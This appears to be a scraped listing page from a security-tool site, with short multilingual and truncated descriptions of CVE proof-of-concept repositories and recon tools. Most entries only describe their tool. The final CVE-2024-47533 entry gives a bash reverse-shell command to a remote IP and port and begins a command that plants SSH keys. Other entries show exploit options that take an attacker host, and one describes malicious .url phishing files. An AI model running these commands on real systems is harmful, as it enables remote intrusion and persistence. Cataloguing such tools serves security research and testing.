CVE-2022-22954-POC

VMware-CVE-2022-22954-POC Déclaration : Ce POC est réservé à des fins d'apprentissage uniquement. Toute opération illégale est interdite. Les dommages malveillants éventuels ne sont pas de ma responsabilité !!! — Script de détection par lot : Utilisation : root@kitploit: python vm-2022-22954-POC....

GetBlocked

GetBlocked! Páginas más limpias. Menos rastreadores. Solo local. GetBlocked! es una extensión ligera y solo local para Chrome que ayuda a reducir el seguimiento común de terceros en sitios web bloqueando peticiones de rastreadores conocidos, limpiando enlaces de seguimiento y explicando los...

Follina-MSDT-Vulnerability-CVE-2022-30190-

Follina-MSDT-Vulnerability-CVE-2022-30190- Detection and Remediation of the Follina MSDT Vulnerability CVE-2022-30190 Follina-MSDT-Vulnerability-CVE-2022-30190-에 대한 자세한 정보는 https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ 를...

CVE-2020-14882

CVE-2020–14882 Weblogic 무단 우회 RCE CVE-2020–14882 패치 우회 private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; 목록 root@kitploit: %252E%252E %2E%2E .. %3E %3C ; 소문자 변환 root@kitploit: "%252E%252E%252F".lower '%252e%252e%252f' %252E%252E%252F를...

clickjacking-poc

أداة إثبات المفهوم لاختطاف النقر أداة أساسية لتوليد إثباتات المفهوم الخاصة باختطاف النقر Clickjacking استنادًا إلى عنوان URL معيّن. البناء يجب أن يكون البناء بسيطًا... root@kitploit: $ go get $ go build الاستخدام الاستخدام الأساسي: clickjacking-poc -u https://example.com يمكن أيضًا استخدام الأداة...

ReconCat

Recon Cat ========================================= 소개 archive.org에서 아카이브 URL 스냅샷을 가져오는 작은 PHP 애플리케이션입니다. 이를 사용하여 특정 연도의 스냅샷 URL 전체 목록 또는 가능한 모든 연도의 전체 목록을 가져올 수 있습니다. 침투 테스트 목적으로 특별히 제작되었습니다. 이 애플리케이션은WMB-Scrapper로 구동됩니다. 설치 이 저장소를 클론하세요. root@kitploit: git clone...

cve-2024-43451-ntlm_hash_disclosure_reproduction

CVE-2024-43451 — Windows NTLM 해시 공개 스푸핑 취약점 개요 CVE-2024-43451은 Windows의 NTLMv2 해시 공개 스푸핑 취약점입니다. 인증되지 않은 원격 공격자가 피해자를 악성 .url 바로 가기 파일과 상호작용하도록 유도하여 피해자의 NTLM 해시를 유출할 수 있습니다. 취약점은 최소한의 사용자 상호작용파일을 마우스 오른쪽 클릭, 삭제 또는 이동하는 것만으로도으로 트리거됩니다. CVSS 점수는 6.5중간이며 실제 환경에서 적극적으로 악용되었습니다. CISA는 이를 알려진 악용 취약점KE...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2026-33626-Lab

CVE-2026-33626 — LMDeploy Vision-Language SSRF ラボ 概要 このリポジトリは、LMDeploy の vision-language 画像ロード経路における Server-Side Request Forgery（SSRF）脆弱性である CVE-2026-33626 を再現します。 脆弱な動作は、LMDeploy が画像 URL を受け取り、サーバー側の画像ローダーが内部・プライベート・ループバック・リンクローカルアドレスを適切にブロックせずにその URL を取得したときに発生します。 このラボは以下を比較します：...

CVE-2026-23744

root@kitploit: uso: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC opciones: -h, --help muestra este mensaje de ayuda y sale --lhost, -l LHOST Dirección IP del atacante --lport, -p LPORT Puerto del atacante --rhost, -t RHOST URL del objetivo...

onedrive_user_enum

onedriveuserenum v2.10 有効なOneDriveユーザーを列挙する 列挙テクニックとOneDrive enumの詳細については、こちらのブログを参照してください: https://www.trustedsec.com/blog/onedrive-to-enum-them-all/ データベースを使用しない旧バージョンのOneDrive Enumをお探しなら、こちらにあります: https://github.com/nyxgeek/simplescanners 2.10の新機能: リモートMySQL DBログオプション -- リモートデータベースにログを記録...

CVE-2025-29927

CVE-2025-29927 - Next.js 中间件认证绕过（高级绕过） 🔥 概述 针对 CVE-2025-29927 的 高级 PoC ，通过操纵特定标头实现 Next.js 中间件 中的认证绕过。 此模板增强了 WAF 绕过 和 安全绕过 技术。 🚀 功能特性 ✅ 多请求与 HTTP 方法变异 → 使用 GET、POST 最大化检测覆盖。 ✅ WAF 绕过 → 包含 X-Forwarded-For、X-Original-URL、X-Rewrite-URL 等。 ✅ 随机化查询参数 → 防止缓存问题，提高绕过可靠性。 ✅ 多种响应匹配 → 检测 200 OK、Next.js...

PoC_CVE-2024-28157

Preuve de concept CVE-2024-28157 Présentation Le plugin Jenkins GitBucket version 0.8 et antérieures ne nettoie pas les URL Gitbucket dans les vues de construction, ce qui entraîne une vulnérabilité de cross-site scripting XSS stockée, exploitable par des attaquants capables de configurer des job...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkit의 명령 주입 설명 CVE-2022-25765 는 pdfkit Ruby gem 버전 0.8.7.2에 영향을 주는 명령 주입Command Injection 취약점입니다. 이 취약점은 인증 없이 원격으로 명령을 실행할 수 있으므로 CVSS 9.8의 치명적CRITICAL 심각도를 가집니다. 문제는 pdfkit이 url 매개변수를 샌니타이즈 없이 셸에 직접 전달한다는 점입니다. 이 라이브러리는 내부적으로 wkhtmltopdf를 다음 명령과 유사하게 실행합니다: root@kitploit:...

CVE-2025-33053-Proof-Of-Concept

CVE-2025-33053 Preuve de concept Ce dépôt fournit des scripts pour déployer automatiquement un serveur WebDAV sur Ubuntu avec Apache2 , et générer des fichiers de raccourci.url malveillants destinés au phishing, au red teaming ou à la simulation de mouvement latéral. 📁 Contenu setupwebdav.sh –...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — مختبر Docker PoC إشعار أمني يستنسخ هذا المستودع ثغرة أمنية معلنة علنًا وتم تصحيحها في بيئة مختبر Docker خاضعة للتحكم لأغراض تعليمية وبحثية. البيئة معرّضة للثغرات عن قصد ويجب نشرها فقط في بيئات اختبار معزولة. لا تحاول استغلال الأنظمة دون إذن صريح. الهدف من هذا المشروع هو...

xcrawl3r

xcrawl3r xcrawl3r は、ウェブページを再帰的にクロールしてURLを発見するためのコマンドラインユーティリティです。ウェブサイトを能動的に巡回し、ウェブページ内のリンクをたどったり、ファイル（サイトマップや robots.txt を含む）を解析して、すべてのURLを明らかにします。 ターゲットと直接対話しない xurlfind3r とは異なり、xcrawl3r...

CVE-2026-9082-PoC

python3 poc.py https://target.com...

CVE-2021-24917

CVE-2021-24917 익스플로잇...

CVE-2024-47533

root@kitploit: 리버스 셸 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 간단한 명령 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' SSH 키 추가 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh...